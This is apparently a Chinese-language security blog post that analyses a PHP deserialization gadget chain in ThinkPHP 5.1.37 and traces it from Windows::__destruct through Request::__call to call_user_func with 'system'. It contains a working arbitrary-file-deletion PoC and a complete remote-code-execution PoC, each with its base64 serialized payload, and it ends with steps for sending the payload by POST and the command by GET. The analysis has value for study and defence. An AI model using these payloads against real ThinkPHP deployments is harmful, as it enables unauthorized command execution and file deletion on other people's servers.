Thinkphp 反序列化深入分析

环境搭建

Thinkphp 5.1.37 -—- 应该是5.1.x可以

php 7.0.12

composer create-project topthink/think=5.1.37 v5.1.37

铺垫知识

1. PHP反序列化原理
PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。
2. 在PHP反序列化的过程中会自动执行一些魔术方法

方法名 -————–调用条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__call	调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

3. 反序列化的常见起点

1
2
3
4
5
__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

4.反序列化的常见中间跳板:

1
2
3
4
5
6
7
8
9
__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

5.反序列化的常见终点:

1
2
3
4
5
__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

6.Phar反序列化原理以及特征

1
2
3
4
5
6
7
8
9
10
phar://伪协议会在多个函数中反序列化其metadata部分

受影响的函数包括不限于如下:

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

漏洞起点

漏洞起点在\thinkphp\library\think\process\pipes\windows.php的__destruct魔法函数。

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

__destruct()里面调用了两个函数,我们跟进removeFiles()函数。

![在这里插入图片描述](/images/20200106153640755.png
这里看到 unlink函数
这里同时也存在一个任意文件删除的漏洞,Payload构造: 必须使用namespace设置命名空间!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
namespace think\process\pipes;

class Pipes{
}
class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['D:\\phpStudy\\PHPTutorial\\WWW\\tp5\\install.lock'];
}
}
echo base64_encode(serialize(new Windows()));

输出结果

1
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ0OiJEOlxwaHBTdHVkeVxQSFBUdXRvcmlhbFxXV1dcdHA1XGluc3RhbGwubG9jayI7fX0=

这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。
自行构造一个利用点,试用一下
复现成功

在这里插入图片描述

rce部分起点

在removeFiles()中使用了file_exists对 filename进行了处理。$filename会被作为字符串处理。
![在这里插入图片描述](/images/20200106154555433.png
而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。我们全局搜索__toString方法。

在这里插入图片描述

这里我们选择 \thinkphp\library\think\model\concern\Conversion.php
Conversion类的第224行, 这里调用了一个toJson()方法。

\thinkphp\library\think\model\concern\Conversion.php

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进toJson()方法

\thinkphp\library\think\model\concern\Conversion.php

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

继续toArray()方法

thinkphp\library\think\model\concern\Conversion.php
在这里插入图片描述

1

  • 目的

我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点

  • 首先,这里调用了一个getRelation方法。
  • 我们跟进getRelation(),它位于Attribute类中

thinkphp\library\think\model\concern\Conversion.php
![在这里插入图片描述](/images/202001061559427.png
这里调用了getRelation方法,跟入后得到代码:

thinkphp\library\think\model\concern\Conversion.php

1
2
3
4
5
6
7
8
9
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

由于getRelation()下面的if语句为if (!$relation),所以这里不用理会,返回空即可。

![在这里插入图片描述](/images/20200106165650553.png
然后调用了getAttr方法,我们跟进getAttr方法

thinkphp\library\think\model\concern\Conversion.php

1
2
3
4
5
6
7
8
9
10
11
12
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
....
.....
return $value;

继续跟进getData方法

thinkphp\library\think\model\concern\Attribute.php

1
2
3
4
5
6
7
8
9
10
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

通过查看getData函数我们可以知道 r e l a t i o n 的 值 为 relation的值为 relation的值为this->data[$name],需要注意的一点是这里类的定义使用的是Trait而不是class。自
PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use
关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。

我们可以在\thinkphp\library\think\Model.php中找到这样一个类

1
2
3
4
5
6
7
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;

我们梳理一下目前我们需要控制的变量

  • $files位于类Windows
  • $append位于类Conversion
  • $data位于类Attribute

引用大佬的图,简单的看一下,后面还有梳理
在这里插入图片描述

代码执行点分析

这里的$this->append是我们可控的(在conversion中),然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可

然后调用getAttr($key),在调用getData($name)函数,这里$this->data['name']我们可控(在attribute中)

$relation 变量来自 $this->data[$name]
$name 变量来自 $this->append

之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法

我们现在缺少一个进行代码执行的点,在这个类中需要没有visible方法。并且最好存在__call方法。

因为__call一般会存在__call_user_func和__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。

可以在/thinkphp/library/think/Request.php,找到一个__call函数。__call 调用不可访问或不存在的方法时被调用。

下面是引用大佬的图,很清晰的链条

在这里插入图片描述

call_user_func_array(‘system’,array(‘whoami’));
call_user_func(‘system’,‘calc’);

找到
/thinkphp/library/think/Request.php

1
2
3
4
5
6
7
8
9
10
11
......
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}
.....

$hook这里是可控的,所以call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。,但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头,$args第一个值不能够控制。这种情况下我们是构造不出可用的payload的。由于$args第一个值不能够控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象

call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。
虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法

ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是,相当于 call_user_func($filter,$data) 。但是前面, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

最终产生rce的地方是在input函数当中

在input函数中有一个 $this->filterValue($data, $name, $filter);

1
2
3
4
5
6
7
8
9
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {

但是这里的$value不能自己进行控制,所以需要往上找可以控制value的地方,共发现以下函数:

  1. cookie
    
  2. input 但是这里的input参数并不是可控的:
    
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
....
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}

我们继续找一个调用input函数的地方。我们找到了param函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func$value,现在差一个条件,那就是name是字符串,继续回溯。
这里仍然是不可控的,所以我们继续找调用param函数的地方。找到了isAjax函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

在isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的 n a m e 可 控 。 p a r a m 函 数 中 的 name可控。param函数中的 name可控。param函数中的name可控就意味着input函数中的$name可控。

可以导致RCE
回溯一下

param()函数 可以获得$_GET数组并赋值给$this->param

1
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

array_merge()数组合并起来
这句代码会将$_GET数组赋值到$this->param中,在往下执行就来到了:

1
return $this->input($this->param, $name, $default, $filter);

再回到input函数中

1
$data = $this->getData($data, $name);

$name的值来自于$this->config['var_ajax'],我们跟进getData函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
 protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;
}
\\

这里$data直接等于 $data = $data[$val] = $data[$name]

然后就是解析过滤器,跟进getFilter函数

1
$filter = $this->getFilter($filter, $default);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

在这里插入图片描述

就是$filter可控
最后回到input函数 关键代码

在这里插入图片描述

最后导致RCE的代码

1
2
3
4
5
6
7
8
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
  • filterValue.value = 第一个通过GET请求的值input.data
  • filters.key = 第一个GET的键
  • filters.filters = input.filters

上大佬的图

![在这里插入图片描述](/images/20200107144450321.png
总的利用链
在这里插入图片描述

到这里思路有了,回过头来看我们poc的利用过程,首先在上一步toArray()方法。创建了一个Request()对象,然后会触发poc里的__construct()方法,接着new Request()-> visible($name),该对象调用了一个不存在的方法会触发__call方法,看一下__construct()方法内容

1
2
3
4
5
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["zeo"=>["calc.exe","calc"]];
$this->data = ["zeo"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

我们把payload通过POST传过去,然后通过GET请求获取需要执行的命令

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJ6ZW8iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJ6ZW8iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

复现成功
在这里插入图片描述

参考文章
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/
https://blog.csdn.net/qq\_43380549/article/details/101265818
https://xz.aliyun.com/t/6467
https://xz.aliyun.com/t/6619
https://www.t00ls.net/thread-54324-1-1.html
https://www.t00ls.net/viewthread.php\?tid=52825\&extra=\&page=1